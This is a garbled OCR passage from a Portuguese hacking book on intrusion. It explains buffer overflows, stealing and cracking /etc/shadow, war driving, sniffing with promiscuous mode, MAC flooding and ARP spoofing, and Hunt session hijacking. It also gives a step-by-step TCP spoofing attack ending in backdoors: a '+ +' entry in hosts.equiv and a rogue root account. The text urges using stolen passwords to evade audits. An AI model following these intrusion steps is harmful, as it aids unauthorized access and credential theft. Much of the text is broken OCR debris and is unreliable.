$Oxfffffff4,%esp
Ox8048472 <main+14>:
push
$Ox8048520
Ox8048477 <main+19>:
cal1
Ox8048334 <printf>
Ox804847c <main+24>:
add
$OxlO,%esp
Ox804847f <main+27>:
xor
%eax,%eax
Ox8048483 <main+31>
Ox8048481 <main+29>:
jmp
Ox8048483 <main+31>:
leave
Ox8048484 <main+32>:
ret
Ox8048485 <main+33>:
lea
OxO(%esi,l) ,%esi
Ox8048489 <main+37>:
lea
OxO(%edi,l) ,%edi
End of assembler dump.
(gdb)
Observe a linha
Ox804846a<main+6>:
260
cal1
Ataque,
defesa
e contra-ataque:
Invaso
Ox8048430 <funcao_idiota>
Universidade 3ano
):
of
assernbler
ret
rnov
%esi,%esi
durnp. (gdb)
a funcao_idiotaO.
Den-
mostra a instruo assembler de retomo (ret). Essa instruo vai usar o ponteiro de retomo para voltar ao main. Chegamos ao ceme da questo dos exploits
por buffer overflow. Trocando em midos, voc precisa:
1. Descobrir uma varivel do tipo buffer que esteja vulnervel;
2. Verificar, no cdigo fonte ou por tentativa e erro, os endereos onde as
chamadas de funo esto, bem como o endereo que marca o incio do buffer
da varivel;
3.
no buffer, contendo
1261 I
I
Invaso
I Universidade
H4CK3R I
instrues para nos dar um shell, e depois "estufe" a pilha at atingir a posio
do ponteiro de retorno, l colocando o endereo do incio do buffer.
Um exemplo, em Unix, seria uma rotina que, atravs da funo execve( )
chamasse um shell. execve( ) uma chamada de sistema que simplesmente
permite executar um arquivo binrio externo ao programa. Que beleza! De
dentro de nosso exploit, executamos Ibin/sh !!!O shell executado no usurio
do programa vulnervel. Se for, por exemplo, no Apache, ganharemos um shell
do usurio nobody. O que hackers mais gostam, nessa hora, so programas
vulnerveis rodando com SUID...Mas isso outra histria (v l e pesquise!).
No Windows, programas vulnerveis rodando com privilgio System so um
perigo! Acesso total mquina. Para explorar um buffer overflow, geralmente
faz-se chamadas a funes de DLLs acessveis pela aplicao vulnervel. Dica
para estudo de execuo arbitrria de comandos no Windows: WININET.DLLe
o prprio MFC.DLL.Novamente, mexa-se...
No vamos nos aprofundar mais, pois no est no escopo do livro entrar
muito fundo nas entranhas de nenhum assembler. Para comear, um belo texto
para iniciantes em buffer overflows (mixter.void.ru/exploit.html). Para saber
mais, recomendo a leitura dos whitepapers da Fatal 3rror (struck.8m.com/G),
o excelente texto de Dark Spyrit sobre buffer overflows no Windows
(community.core-sdi.com/-julianolbufo.html)
e o estudo que comeou tudo
isso: "Smashing the stack for fun and profit", do lendrio Alephl, lanado na
edio 49 da ezine Phrak em 1996 e disponvel online no endereo
www.insecure.org/stf/smashstack.txt.
Outro white-paper digno de nota: como explorar servios avanados com
estouros de pilha, indo muito alm de conseguir um shell.Taeho Oh nos mostra
em postech.edu/-ohhara (ou, alternativamente, em ohhara.sarang.net/security/
adv.txt) como furar firewalls baseados em ftltros de pacotes, abrir sockets (e,
portanto, backdoors) no prprio exploit e libertar-se da priso do chroot4.
Se voc quer realmente conhecer a fundo todos os meandros dos estouros de
pilha (nos quais 99% dos exploits existentes so baseados), recomendo, novamente, parar a leitura do livro e estudar os sites indicados. Lembre-se, o Google
seu amigo... Desnecessrio dizer que pr-requisito para isso saber alguns
fundamentos de C e Assembler. Apesar de alguns dizerem que no, as linguagens Pascal (e portanto o Delphy/Kylix tambm) e Basic (Visual Basic, Thrbo
Basic, Quick Basic,...) e mesmo novas linguagens como C++, C# e Java tambm
padecem do mesmo mal. As formas de explorar os estouros nessas linguagens
so diferentes, mas ainda assim a vulnerabilidade existe.
4. Chroot , simplificando a definio, uma maneira de "enjaular" uma aplicao que precise de direitos
de superusurio para rodar. Normalmente, instala-se a aplicao em um diretrio que possui uma cpia do
sistema de arquivos do sistema oper.acional, mas no o sistema de arquivos verdadeiro. Nesse ambiente
falso, a aplicao roda com pseudo-direitos de root, que s valem dentro do ambiente.A aplicao fica feliz
em ser enganada e roda perfeitamente. Se um hacker invadir essa mquina por meio de um buffer overflow
da aplicao em chroot, vai conseguir, no mximo, o mesmo superusurio falso que a aplicao usa.
2621
Ataque, defesa e contra-ataque:
Invaso r
Universidade 3ano
5. "Quando o dia destri a noite / a noite divide o dia / tentei correr, tentei me esconder / mas agora atravesso para o outro lado". Break on through [to the other sidej. Do lbum The Doors, de 1967.
12631
I Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
instalado...), MS SQL Server, CGls diversos... Todos eles podem ser explorados
para oferecer mais controle. At que se chega em algum usurio ou programa
que d acesso linha de comandos com os privilgios do grupo System (o
"root" do Window NT).A dica, neste caso, fica por conta de exploits sucessivos
(para ganhar cada vez mais poder) em direo a alguma DLLdo prprio Kernel.
Se voc leu o captulo sobre Plataformas Windows, aprendeu que vrias partes
do kernel rodam em User Mode. Algumas, mesmo assim, rodam com privilgios do grupo System. 2+2...
Embora seja efetivo e fcil, depender de exploits pode deix-Io "na mo" em
sistemas bem configurados e, principalmente, atualizados. H, entretanto, formas alternativas de ganhar acesso a outras contas. A quebra de senhas , seguramente, a mais usada.
2641
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
1265 I
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
- -"-y"
<m.~. ,~
JHISI'1.A<ESUCI
OOU,I>SOI<T
G.om
iIomIh
.......
-.
,,,..
-.
-2661
Od0h1ln!&
OdOh'm,*,
0.1""""52>
OdOhOrn..
, "-"
mmn
mm?RGS3
_r
'AS"A"""''''
1'rl??1/>.
"'''''''''" !,,,.."u..
mmJ~
bobofett
OdOhlm1o!<
"'-
0.1""......
Universidade 3ano
No passo 1 temos os mesmo problemas que tivemos com o Wmdows. Como vimos
no captulo sobre PlataformasUnix, os sistemas modernos utilizam o sombreamento
de senhas, que consiste em separar o processo de login em dois arquivos:
o /etc/passwd (que contm informaes gerais sobre o usurio, como nome, login,
GID,UID,diretrio ;home e shell inicial) e o /etc/shadow (que contm as senhas
criptografadas). Como o /etc/passwd tem que ser legvel por todos, os hashes ficariam desprotegidos se ficassem a. O arquivo /etc/shadow, ao contrrio, legvel e
editvel apenas e to somente pelo superusurio, o root. Se o sistema invadido possuir sombreamento de senhas, voc s conseguir roubar o arquivo /etc/shadow se
estiver em um shell root. Se o sistema invadido no possuir sombreamento, o "administrador" j deixou metade do servio pronto para voc...6
6. Mesmo que o sistema possua password shadowing, voc ainda ter os nomes vlidos de contas.
IAtaque,
defesa e contra-ataque:
I 267 I
Invaso
I Universidade
H4CK3R I
Encontrar e aplicar um exploit que lhe d acesso a root a forma mais direta
para conseguir o arquivo de shadow. Outras formas incluem:
1. Fazer core dumps de programas SUlD root que acessem as senhas (como
o FTp' o SSH ou o Telnet);
2. Verificar no arquivo passwd qual dos usurios tm "pinta" de ad
mistrador - possvel que ele possua programas SUlD em seu !home.
Uma vez descoberta a senha, chegamos ao passo 2. Basta rodar o ]ohn the
Riper de acordo com o configurado e esperar. No final, uma lista de senhas
vlidas (possivelmente a do root tambm) ser encontrada. O passo 3 trivial:
volte cena do crime e use as senhas. Nada como logar-se como um usurio
autorizado para despistar as auditorias de invaso...
12681
Uma das mais novas formas de invaso corporativa o War Driving. Hackers
saem pelas ruas da cidade com gambiarras feitas de latas de batata frita, arruelas e alguns cabos, e capturam conexes de rede wireless que estejam "vazando". Como as corporaes no costumam criptografar suas conexes internas,
uma conexo wireless desse tipo fornece um acesso ilimitado, similar ao conseguido se o invasor entrar andando pela porta da frente e plugar um cabo do
seu laptop em uma tomada de rede da empresa.
O assunto relativamente novo e merece um estudo muito mais profundo do
que o que seria permitido neste livro. Alis, seria necessrio um livro inteiro
sobre isso. Uma excelente fonte de informaes e recursos (tutoriais, equipamentos, esquemas de antena - inclusive feitas em casa) o si te
www:wardriving.com. Um esquema simples de antena, construdo com o j
lendrio tubo de batatas fritas Pringles, pode ser encontrado
em
www.oreillynet.com/cs/weblog/view/wlg/448.
Hackers europeus foram mais longe e criaram o War Chalking - um alfabeto
especial para marcar, com giz e na calada, os pontos de acesso (posio e
orientao da antena) para uma melhor conexo rede alheia. Saiba mais sobre as tcnicas usadas no site oficial: www.warchalking.org (ou, alternativamente, www.warchalking.us). Esse site traz informaes tcnicas, tutoriais, clu-
Universidade 3ano
bes e muitos links para outros recursos. O site www.blackbeltjones.com tambm tem diversos recursos. Um artigo sobre o assunto pode ser encontrado na
Meca do wireless, o site 802.11 Planet (www.80211-planet.com/columns/
artic1e.php/140240n.
.
1269 I
I
Invaso
I Universidade
H4CK3R I
Dois softwares que trabalham como proxy baseados no desktop podem ser
usados para facilitar a manipulao de Cookies (e de cabealhos HTTP tambm!): so eles o Achilles e o BrowseGate. A empresa que produz o Achilles
(DigiZen Security Group - www.digizen-security.com) parece ter retirado o
site do ar, mas descries sobre o produto podem ser encontradas no
PacketStorm (packetstormsecurity.nl/filedesc/achilles-O-27.zip.html)
e no
SecuriTeam.com (www.securiteam.com/tools/6LOOR200KA.html).
O BrowseGate, desenvolvido
pela NetCPlus (www.netcplus.com/
browsegate.htrnl) outra opo de Proxy Server que pode ser usada de maneira malfica para torcer cookies e autenticao em sites. H uma anlise dele
em www.webattack.com/getlbrowsegate.shtml.
Para todos os problemas listados, possveis solues podem ser encontradas
no site oficial sobre segurana em sistemas web: www.owasp.org.
Universidade 3ano
Na prtica, como a maioria esmagadora dos gateways ligam sua rede interna
Internet, o que o invasor tem disposio tanto seu conjunto potencial de
senhas e informaes confidenciais quanto os e-mails, senhas, informaes e
cartes de crdito que entram e saem de sua empresa. Imagine, num cenrio
ainda mais tenebroso, que um hacker plantou um sniffer em um gateway que
liga sua empresa ao seu site de comrcio eletrnico, ou operadora de cartes
de crdito, ou a seu parceiro, ou ao banco. Fatal!
A primeira providncia quando se vai farejar uma rede colocar a interface
de rede de alguma mquina em modo promscuo. Como vimos nos captulos
Redes I e 11,quando um pacote IP chega em uma rede, a interface que detm o
pacote pergunta: "qual o MACAddress que contm o endereo IP desse pacote"? A mquina destino responde com seu MACAddress e o pacote enviado a
ela. Esse o conhecido protocolo ARP.
"Enviado a ela", como escrito no pargrafo anterior, ligeiramente mentiroso (ou, como dizia um pastor luterano que conheci, um "exagero da verdade"). O pacote , na verdade, jogado no barramento e todas as interfaces podem ler. O que ocorre que as interfaces fazem "ouvidos moucos" ao pacote,
caso este no seja direcionado a elas. Apenas a mquina a que realmente se
destina "presta ateno" ao que est trafegando na rede. As outras simplesmente ignoram-no.
aqui que entra o "modo promscuo". Uma interface configurada dessa forma
"ouve"TODOSos pacotes que trafegam na rede, e no apenas os que so destinados
I
]Ataque,
defesa e contra-ataque:
271
Invaso
I Universidade H4CK3R I
ethO
o resultado seria:
Encapsulamento do Link: Ethernet Endereo de HW 00:08:74:B5:64:95
inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Mtrica:1
RX packets:13567 errors:O dropped:O overruns:1 frame:O
TX packets:8300 errors:O dropped:O overruns:O carrier:O
co1ises:0
RX bytes:3163776 (3.0 Mb)
Observe as informaes mostradas. Voc sabe, por meio desse comando, que
o encapsulamento do link (ou seja, o protocolo de camada 2) Ethernet, que o
MAC 00-08-74-B5-64-95,que o endereo de rede 192.168.1.11, que o tamanho mximo do pacote Ethernet (MTU) de 1.500 bytes, etc... H tambm
alguns flags que indicam se a interface est pronta ou "em p" (DP), se est
rodando (RUNNING) e se responde a broadcast ou multicast. Agora vejamos o
que acontece com o comando abaixo:
# ifconfig ethO promisc
12721
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Bingo! Observe que a placa agora est em modo promscuo (flag PROMISC).
Absolutamente TUDO o que est trafegando na rede interpretado pela pilha
TCP/lP do kemel e pode, portanto, ser monitorado. Isso inclui pacotes no
direcionados a essa mquina.
Sniffing passivo
As redes locais normalmente se utilizam de equipamentos chamados hubs (captulos
Redes I e lI) para facilitar e
flexibilizar a conexo de novas mquinas a uma rede existente. O hub age ainda como
um elemento regenerador do
sinal eltrico presente no
barramento de rede. Mas o
hub um elemento passivo
no tocante a controle do trfego na rede local.
Hubs e repetidores so
equipamentos
que trabalham na camada 1 do modelo OSI, portanto no tm controle algum sobre o quadro Ethemet (ou qualquer outro protocolo de camada 2 como Token Ring, PPp, Frame Relay ou
X.25). Isso significa que uma mensagem enviada de uma mquina para a outra ser ouvida por todas na rede.
fcil perceber, no desenho acima, que se a mquina A enviar uma mensagem para a C, as estaes B, D e H ainda estaro "ouvindo". Portanto, apesar
da aparncia de estrela, uma rede que se utilize de um hub para interligar
as mquinas , na realidade, um barramento.
Conclumos que muito fcil para um sniffer registrar e decodificar tudo
o que trafega nessa rede. Como trabalha com interfaces em modo promscuo, todos os pacotes da rede podem ser interpretados. Mas e se a rede
estiver segmentada com bridges ou switches?
1273 I
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
'X
XI Bridge
/t:::
/t:::
Bloqueadopela Bridge
Observe: as mquinas A e B esto no segmento 1, enquanto C e D no segmento 2. Isolando os dois, uma bridge. O trfego de A para B e de B para A fica
restrito ao segmento 1, e o trfego de C para D e de D para C fica restrito ao
segmento 2. A bridge bloqueia o trfego local, no deixando que mensagens
no endereadas a um barramento em especial cheguem nele.
Bridge
Deixapassar
12741
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
A determinao de quais pacotes devem passar e quais devem ser bloqueados dinmica, baseada nos endereos MAC
das interfaces de rede. No momento que uma bridge ligada,
ela no tem nada na memria.
medida que as estaes vo
enviando pacotes para a rede, a
bridge guarda os MACAdresses
numa tabela, relacionando-os
~~
---
~
..
. .
com
o segmento
de onde
pa~~.
cote se
originou. Note
que otudo
se passa na camada 2 do modelo OSI:a bridge s tem conhecimento das mquinas
ligadas diretamente em sua rede local.
Imagine, agora, um hub que possusse uma bridge em cada porta. Cada mquina
da rede receberia apenas trfego destinado a si. Esse "monstrengo existe e se chama comutador ou switch.Observe: assim como em nosso primeiro exemplo, a estaoA quer enviar uma mensagem para a estao B.Devido ao switch, nenhuma das
outras mquinas ir escutar o que A tem a dizer.Alm disso, C poderia falar com E
simultaneamente, pois a rede est, para elas, ociosa.
Uma rede com um switch no lugar de um hub, alm do controle e diminuio
do trfego, tambm ofereceria uma segurana adicional rede, uma vez que
um sniffer instalado, por exemplo, em D no poderia escutar nada das conversas entre A e B ou C e E. O uso de bridges e switches, ento, minimizaria o
problema dos sniffers, certo? Infelizmente, mais uma vez, a resposta no...
Sniffing ativo
Um switch ou bridge possui uma tabela que relaciona os MAC addresses que
"ouviu" na rede com as portas ou segmentos nos quais foram "ouvidos". Como
preenchida dinamicamente, essa tabela ser atualizada toda vez que uma
nova mquina for conectada rede.
Como dizia um parente meu (ilustre, mas iletrado), "tudo o que demais em
demazia" (sic). A memria do switch possui um tamanho limitado, portanto um
nmero muito grande de interfaces de rede ligadas em cada uma das portas poderia, num caso extremo, preench-Ia completamente. Pensando nisso, os fabricantes
desses equipamentos as dimensionam para que esse limite nunca seja atingido.
O problema que um quadro Ethemet nada mais do que uma seqncia de uns
e zeros que pode, por isso mesmo, ser manipulada. Um programa cuidadosamente
escrito poderia gerar, ad infinitum, frames Ethemet com MAC adresses aleatrios
e, em alguns minutos, preencher completamente a memria do switch. Como o
show no pode parar, esses equipamentos podem comear a repassar mensagens
indiscriminadamente para todas as portas. Essatcnica chamada de MACFlooding.
1275 I
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
em
Others/~com4.html),
mas os
sniffers mais modernos (como
o ettercap e o dsniff)
todo o trabalho.
Felizmente
j fazem
(ou infelizmente,
daquele
MAC
segmento
ouvem
IP=10.0.0.1
MAC=xx.xx.xx
a pergunta,
mas apenas a
IP= 1 O.O.OA
MAC=ww.ww.ww
CD
corresponde ao endereo IP
da mquina-destino original.
Complicado? Sim, . Vamos
tentar exemplificar:
12761
Ataque, defesa e contra-ataque:
Invaso
para reenviar a B
tudo que chega
Universidade 3ano
12771
IAtaque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
# tcpdump
[opes]
[68.10.252.64.sret.oot,3676
mflj-bocd..ozmo.mo,1214
rlXPOl238"108pcs.
frsrc101..i.moca,1214
mflj-bocd..ozmo.mo'l176
[ool"18ba()fc2.~."'tmlire.net'l~
208.100.255.153,2019
>>
>
>
515
390
316
225
~32
18006 --A--A4n352
--A1=
--A-
e16.49.88.~00:www
61.9.18.19.1298
47
199
1246
878 -PA-PA-
pcO:H>acd..ozmo.mo'3329
rserver13.icinternet.coo:www
TCP:
189entr'ies
Ib1-IP (M)
(162 ~)
~~~(JIT~f'f:'
frn-IP (M)
,,~IP
(M)
(13O~)
(~-~)
fmo ~4
193
ethO
ethO
ethO
ethO
ethO
ethO
ethO
ethO
ethO
ethO
fk:tive
to 0180c200000000 ethO
(~T:Er~~~~~~:~f~~f~'i
fmo ~
fmo ~
Face
ethO
ethO
to 01~
on elliJ .
to 018Oc2Ooo0ooon elliJ . ,
~ IPTraf (iptraf.seul.org ), O
av de todos os sniffers Unix,
ainda pode ser efetivamente
usado
em uma sesso de
sniffing. Apesar de sua idade,
recursos
poderosos.
J Vale a pena dar uma conferida.
Uma de suas vantagens que,
comum
I como o tcpdump,
'
encontr-Io j instalado - pou!
pando trabalho, recursos e no
levantando suspeitas.
I possui
0.29"019
0.294194
0.298fi41
0.370983
0.372207
bam.zing.org
slashdot.org
bam.zing.or9
slashdot.org
slashdet.erg
,:"~",i~MM
51 ashdot.org
bam.zing.org
slashdot.org
bam.zing.erg
bam. zing. org
d25.hoo"or"
TCP
HTTP
TCP
HTTP
HTTP
Ten
2781
Ataque, defesa e contra-ataque:
Invaso
Len:
Universidade 3ano
O"""",,,
7'",,,",,
""""
"'",,,,,
""""",,,,,,,,,,,
'M'","n,'"
""'m Ci,]d,0,"0com
"',','""","
",""fi""",O,OO63
,,,"'",
",,,.",,ff,,",
,,~,,1i..,
6<
'''''''',m(O""
""',, ,h,,'"~,,,,,, ("n,U)
",,"".'.1."'''.1.1.05)
""",,,,", b,""h'",.'~("o.","',
V'''"~''''''''"ff''
"",,,1.,,, "ci, '"'" (,
5o"",,,,,,",",,",",
'>1'''''00,,,,,_(60)
""'"" o"," ,,"'''s
""""',d,,,,,o' ,..o", m'580121
""',, ,.."h' "'"''
"_'d,>,,''''oo'
".TE",.'~.". "" MO".01, " , h_,
,,,,,,,'..',
"_'1,,,",,,,' ,wn:""''"~'" """,. jp'''. '00.""". ""d,.
R;;:;;';i';hi:;'~RE::"I;i,1:';;;'''''-''''iim' '"'"'''''''
;'h","",h'",5h""'''''''-C~","it"'',""'h''I'ITlE'
:;"'''''mm,'
mor,'",o""oo'""~.,,,o",W "'"'.''''",,",0' AU",-""'",""',
"""...,,,"" ",,,,..,,,
::o"i~i~) "H1:i':;';'~:'h1;p~1id-~;:~~H:~;tA):J::~;i,
'11i:;::j,h,;i"",h''''"O'tl''''k>lO",
"~'I"",,'" ><"OC,,"~'"o."""""'"0
~"''""'''",... ,,,,,,,,,,,,,..,, "'",,,... """,-0>
"'-"-"p'",'F-'''T"II"ho''3"''''~'.T""",,",,I,''<k/Th'',"",h10''""'''''",',I",",,.'"~,I'
P "..
0,00'" U'C<'
Wiooo",""
3"6<
Invaso
I Universidade
H4CK3R I
Invaso [
Universidade 3ano
Invaso
I Universidade
H4CK3R I
Farejando na prtica
Nada como uma sesso de sniffmg para fIxar os conceitos aprendidos. Poderamos exemplificar esse procedimento com um sniffer grfico como o Ethereal,
que possui uma verso para Windows e uma bela interface de comando. O Ethereal
ainda separa e interpreta os protocolos para voc, de modo a fazer o mximo
possvel do "trabalho sujo" e deixar ao administrador de rede apenas com as
informaes teis, "mastigadas". Mas lembre-se: se voc est explorando uma
rede remota, possivelmente vai deixar seu sniffer rodando sozinho para depois
recuperar o arquivo contendo o trfego. A interface grfica, os "frufrus" e a inteligncia do Ethereal de nada adiantaro nesse ambiente.
Antes de comear nosso estudo, dois lembretes. Em primeiro lugar, observe que
sua conexo domstica Internet provavelmente se d por um protocolo de camada
2 chamado de PPP ou Point-to-PointProtocol. Como o nome j diz, um protocolo
ponto a ponto: sua rede local possui apenas duas intetfaces, a de sua mquina e a do
modem do provedor de acesso.Justamente devido ao PPp,voc no poder farejar o
trfego na subrede de Internet qual voc est (aparentemente) conectado. Em uma
ligao empresarial - normalmente por linha privada usando Frame Re1ayou X.25
e no PPP - possvel (embora no muito provvel devido a ftrewalls e roteadores)
que a subrede da Internet determinada para a empresa possa ser farejada. De qualquer forma, um sniffer til apenas em estruturas de conectividade internas, onde h
verdadeiramente vrias mquinas trafegando informaes na mesma rede local.
O outro lembrete no menos importante. Existem trs condies bsicas
para se poder "esnifar" a rede:
1. Existir uma rede com pelo menos 3 mquinas (as duas que se quer monitorar
mais a sua, que monitorar as outras duas).
2. Possuir acesso de superusurio (root para Unix e Mac OS X ou Administrador para WinNT/2k!XP - mquinas com Win9x no precisam de nada disso...)
na mquina que fIcar em modo promscuo e farejar a rede.
3. Possuir autorizao para fazer a monitorao e alertar os usurios da rede
para tal. No condio impeditiva para iniciar o sniffIng, mas tico. Todos
tm direito, garantido por lei, privacidade. Se sua empresa possui uma poltica de monitorao de trfego, esta deve ser informada aos funcionrios.
Isso posto, vamos ao que interessa. Em nosso primeiro estudo, usaremos o
Hunt. O programa possui uma interface com o usurio em modo texto que,
apesar de singela, muito funcional. No vamos entrar em detalhes sobre a instalao do programa - h intrues para isso na documentao que o acompanha.
Em nossa rede de testes (Laboratrio de Redes 11),instale o Hunt na mquina
Unix. Ela ser nossa mquina "haxor". Vamos monitorar uma conexo entre a
mquina Windows e a mquina "coitada". Para que possamos acompanhar melhor a conexo, vamos abrir uma sesso de Telnet, que um protocolo interativo
e que funciona em texto simples - perfeita para ser monitorada
plicidade e baixa velocidade. Observe:
12821
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Unix
Hunt
Windows
Coitada
Telnetd
Telnet
192.168.1.3
*
*
hunt 1. 5
mu1tipurpose connection intruder / sniffer for Linux
(c) 1998-2000 by kra
*/
starting hunt
- Main Menu - rcvpkt O, free/a11oc 63/64 --l/w/r) 1ist/watch/reset connections
u)
host up tests
a)
arp/simp1e hijack (avoids ack storm if arp used)
s)
simp1e hijack
d)
daemons rst/arp/sniff/mac
o)
options
x)
exit
->
y
1283
Invaso
Universidade H4CK3R
4s
2s
2
O
y
inmeras
a/m/d manipulam
Basicamente,
w)
y)
e)
v)
o que chamado,
uma
quais conexes
numa
regra de conexo
queremos
y
n
n
n
switched environment
arp spoof with my mac
learn MAC from IP traffic
verbose
a maneira
monitorar. Vamos
adicionar uma
ao Hunt
-opt> a
src ip addr/mask ports [0.0.0.010]>
o programa
pede o endereo
IP e a mscara
Windows.
com
um
Lembrando
com
zero em
em
a o IP da
indica
se
eu colocasse 192.168.1.1/32, eu monitoraria os pacotes originados nessa mquina. Se eu colocasse, por outro lado, 192.168.1.0/24, o Hunt
cotes de todas as mquinas
192.168.1.254. Num
farejariaos pa-
caso extremo,
que dizer
O) 0.0.0.010 [alI]
1) 192.168.1.1/32 [alI]
-opes do menu-*opt>
<->
O. O . O . O 1 O
[23
<-> 192.168.1.'2/32
513]
[alI]
Observe que temos um asterisco no prompt. O Hunt est nos indicando que
as mquinas esto "vivas" na rede. Para sair do modo opes, usa a opo "x".
De volta tela inicial, temos a opo de listar ("1") as conexes ativas~ Experimente e veja: no h nenhuma conexo no momento. Vamos criar uma ento.
:841
Ataque, defesa e contra-ataque:
Invaso r
Universidade 3ano
Quando a caa v
o Hunt um timo (e didtico...)
insolvel
1285 I
] Ataque,defesa e contra-ataque:Invaso
I Universidade
H4CK3R I
Observe: existe uma mquina servidora (vamos cham-Ia de "S") que possui
relao de confiana com outras mquinas (vamos cham-Ias "TI", "T2", "T3"
etc.). Se o usurio logar-se na mquina S, automaticamente ter acesso a recursos das mquinas "T". Enquanto essa facilidade "quebra um galho" para administradores de rede e permite que usurios loguem-se em apenas um sistema
para ter acesso a vrios, se um hacker conseguir fazer-se passar pela mquina
que tem a confiana poder ter acesso a todas as outras, que "confiam" nela.
Tanto sistemas Unix quanto Windows (e tambm Novell...) possuem facilida. des parecidas. O Windows 2000 possui um recurso chamado Advanced
Directory Service (ou ADS), que detm o cadastro de todos os usurios e mquinas da rede e as relaes entre eles. O usurio, ao logar-se em um domnio
Windows, tem seu nome e senha comparados com os do ADS e, caso aceitos,
todos os servios so disponibilizados.
A Novell possui um produto chamado eDirectory (www.novell.com/pt-br/
products/edirectory) baseado em um ncleo, o Novell Directory Service ou
NDS. O software opera da mesma forma que o ADS da Microsoft, com um
diferencial: no est restrito aos produtos Novell. Na realidade possvel, atravs do eDirectory, criar conexes para todos os tipos de plataformas de software
7. '~penas diga que j teve o bastante / Hehe, eu pegei voc / Em quem, em quem, em quem voc pode
confiar?"JoanJett, Who can you trust. Do album "Cherry Bomb, de 1995.
12861
Ataque, defesa e contra-ataque:
Invaso [
Universidade 3ano
Confiana
letc/hosts.equiv
-IP.DE.A
-IP.DE.H
12871
1
Invaso
I Universidade
H4CK3R I
12881
Ataque, defesa e contra-ataque:
Invaso
Universidade 3ano
~ Nosso objetivo , ento, traado: queremos que uma das mquinas (por
exemplo, INTRANET)"pense" que "H" , na realidade, SERVLOGIN.Com isso,
teremos um shell em INTRANET,com um IP disposio para usarmos vontade em nossas maldades por a...
Vamos dar uma "receitinha de bolo" para esse ataque. a melhor maneira de
explicar a teoria de cada um dos passos necessrios. Para maior clareza no
texto, chamaremos cada um dos computadores apenas por seus nomes (Le. "H"
em vez de "a mquina H" ou "s" em vez de "o servidor S").
1. "H" inicia vrias - na verdade, milhares de - conexes reais, sem impostura (ou seja, sem spoofmg), para INTRANET."H" envia vrios pacotes SYN e
espera pelos ACKs de INTRANET.Baseado nesses ACKs, "H" pode inferir (ou
antes, adivinhar) a progresso de nmeros seqenciais TCP gerados por
INTRANET.Com isso, "H" pode ter uma idia dos nmeros a usar mais pata
frente, quando estiver conectando ao sistema INTRANET.
2. Depois disso (ou simultaneamente, caso o invasor possua outra mquina) lana-se um ataque de negao de servio contra SERVLOGIN. Com
SERVLOGINfora da jogada, impedimos que o mesmo envie um pacote TCP
RST e derrube nossa conexo "spoofada".
3. Usando um dos r-comandos, "H" inicia uma conexo a INTRANETusando
o IP de SERVLOGIN.A INTRANET responde com um ACK para SERVLOGIN,
que est fora de combate devido negao de servio.
4. Agora,a mgica:"H"envia umACK para INfRANET,com o IP de SERVLOGIN
e uma estimativa do nmero seqencial TCP
Lembra daquelas velhas cantigas do tipo "Joo amava Maria que amava Pedro..."?
Pois .No passo 3,"H"iniciouuma conexo com INTRANEffingindo ser SERVLOGIN.
Para iniciar essa conexo, usou um r-comando (por exemplo, um rlogin). Se o hacker
acertou a seqencia TCp, foi presenteado com um shell de INTRANET.S que
INTRANET"pensa" que quem iniciou a comunicao SERVLOGIN,e manda as
respostas para essa mquina. Resultado:"H" pode emitir comandos, mas no tem a
mnima idia se esto fimcionando ou no - no h feedback na tela.
Enquanto isso pode parecer suficiente para um estrago qualquer (assim como
nas vulnerabilidades discutidas anteriormente, como o estouro de pilha ou os
CGIs "amigos"), o hacker pode usar esse shell (e tambm o do estouro de pilha,
bem como o dos CGIs...) para configurar rapidamente um backdoor em
INTRANET.No se esquea que SERVLOGINest tinto com a negao de servio, mas recobrar os sentidos a qualquer momento e cortar a comunicao
12891
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
(com um TCP RST) entre INTRANETe "H". Entre as coisas que o invasor pode
fazer na mquina INTRANET esto:
~ Colocar o IP de "H" no /etc!hosts.equiv;
~ Criar um usurio com direitos de root no /etc/passwd;
~ Implantar qualquer tipo de backdoor.
H mais opes alm dessas. A partir dessas alteraes, o hacker pode instalar vrios backdoors, incluir mais mquinas no hosts.equiv (ou mesmo o smbolo + +, que faz com que INTRANET confie em qualquer um...) e criar outras
contas no sistema. claro que administradores atentos logo notaro tais mudanas, por isso bom usar essa mquina para rapidamente "Ownar" outras.
No esquea ainda que, por mais engenhoso que o procedimento seja, ferramentas de IDS e auditoria de arquivos logo descobriro a faanha.
Como tarefa para casa, sugerimos ao leitor que procure documentao na
Internet sobre os seguintes tipos de Spoormg:
~ DNS Spoofing
~ Source Routing
~ Proxy Spoofing
~ Daisy-chain Spoormg
Universidade 3ano
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
-o
Invaso I
Universidade 3ano
conexo correspondente. Aqui no h RST pois o originador da conexo foi realmente - A e no H. A passa a ser necessrio e no indesejado.
~ Negao de Servio algo deselegante - e voc vaidoso, no ?
A resposta est em algumas pginas um pouco mais para trs. Quando fizemos sniffmg ativo, usamos a tcnica de ARP Spoofmg para confundir o switch
e as prprias estaes, colocando nossa mquina no meio da conexo. Para tal,
usamos o programa Hunt em uma configurao man-in-the- middle. Bem, podemos usar a mesma idia para evitar o ACK Storm. Com o trfego passando todo
pela mquina que est escutando a rede, podemos controlar a propagao
desses ACKs esprios.
Nessa configurao, fica claro que, como no h problema de tempestade de
ACKs,podemos emitir comandos para a mquina destino (B, em nosso exemplo). Obviamente, quando a conexo entre H e B for encerrada, a diferena
entre os TCP sequence numbers que A envia e que B espera to grande que a
sincronizao entre A e B impossvel - e a conexo entre eles tambm cai.
Programas de Hijack modernos (como o Hunt e o Dsniff) possuem, entretanto,
ferramentas para ressincronizar as conexes, assim uma desconexo gratuita
no ir causar desconfianas.
Selecionando
seus combatentes
1293 I
] Ataque.
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
produto
comercial
(e pago)
da Engarde
Systems
www.engarde.com) . Um detalhe: todos eles so para Unix. No h boas opes de ferramentas para seqestro de sesses que rodem em Windows ou
outras plataformas - neste caso especfico, meu amigo, voc est preso aos
